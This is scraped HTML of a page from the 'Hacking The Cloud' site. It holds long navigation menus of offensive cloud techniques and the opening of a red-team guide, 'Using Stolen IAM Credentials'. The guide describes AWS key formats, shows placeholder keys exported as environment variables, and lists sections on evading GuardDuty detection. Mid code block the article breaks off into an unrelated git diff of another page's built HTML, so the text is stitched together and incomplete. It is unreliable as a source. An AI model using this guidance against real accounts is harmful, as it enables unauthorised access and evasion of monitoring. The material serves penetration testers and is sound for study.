Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-credential-characteristics class=md-nav__link> <span class=md-ellipsis> IAM Credential Characteristics </span> </a> </li> <li class=md-nav__item> <a href=#working-with-the-keys class=md-nav__link> <span class=md-ellipsis> Working with the Keys </span> </a> </li> <li class=md-nav__item> <a href=#determining-validity class=md-nav__link> <span class=md-ellipsis> Determining Validity </span> </a> <nav class=md-nav aria-label="Determining Validity"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#operational-security-considerations class=md-nav__link> <span class=md-ellipsis> Operational Security Considerations </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#avoiding-detection class=md-nav__link> <span class=md-ellipsis> Avoiding Detection </span> </a> <nav class=md-nav aria-label="Avoiding Detection"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#guardduty-pentest-findings-and-cli-user-agents class=md-nav__link> <span class=md-ellipsis> GuardDuty Pentest Findings and CLI User Agents </span> </a> </li> <li class=md-nav__item> <a href=#guardduty-credential-exfiltration class=md-nav__link> <span class=md-ellipsis> GuardDuty Credential Exfiltration </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#situational-awareness class=md-nav__link> <span class=md-ellipsis> Situational Awareness </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/using_stolen_iam_credentials.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Using Stolen IAM Credentials</h1> <p>As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.</p> <h2 id=iam-credential-characteristics>IAM Credential Characteristics<a class=headerlink href=#iam-credential-characteristics title="Permanent link">&para;</a></h2> <p>In AWS there are typically two types of credentials you will be working with, <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html>long term</a> (access keys) and <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html>short term</a>.</p> <p>Long term credentials will have an access key that starts with <code>AKIA</code> and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.</p> <p>Temporary credentials, by comparison, will have an access key that starts with <code>ASIA</code>, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.</p> <h2 id=working-with-the-keys>Working with the Keys<a class=headerlink href=#working-with-the-keys title="Permanent link">&para;</a></h2> <p>After gathering the credentials you will likely want to use them with the AWS CLI. There are a <a href=https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html>few</a> ways to do this, however setting them as environment variables is likely the easiest. </p> <p>To do this with long term credentials, set the following environment variables.</p> <div class=highlight><pre><span></span><code>export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE
 export AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM
 </code></pre></div> <p>To do this with short term credentials, set the following environment variables.</p> <div class=highlight><pre><span></span><code>export AWS_ACCESS_KEY_ID=ASIAEXAMPLEEXAMPLEEE
 export AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM
diff --git a/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html b/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html
index 80c590ff8..11dfbb562 100644
--- a/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html
+++ b/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to use IAM credentials to create an AWS Console session."><link href=https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ rel=canonical><link href=../../avoiding-detection/steal-keys-undetected/ rel=prev><link href=../download_tools_and_exfiltrate_data_with_aws_cli/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Create a Console Session from IAM Credentials - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Create a Console Session from IAM Credentials - Hacking The Cloud"><meta property=og:description content="How to use IAM credentials to create an AWS Console session."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Create a Console Session from IAM Credentials - Hacking The Cloud"><meta property=twitter:description content="How to use IAM credentials to create an AWS Console session."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to use IAM credentials to create an AWS Console session."><link href=https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ rel=canonical><link href=../../avoiding-detection/steal-keys-undetected/ rel=prev><link href=../download_tools_and_exfiltrate_data_with_aws_cli/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Create a Console Session from IAM Credentials - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Create a Console Session from IAM Credentials - Hacking The Cloud"><meta property=og:description content="How to use IAM credentials to create an AWS Console session."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Create a Console Session from IAM Credentials - Hacking The Cloud"><meta property=twitter:description content="How to use IAM credentials to create an AWS Console session."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#using-aws-vault class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 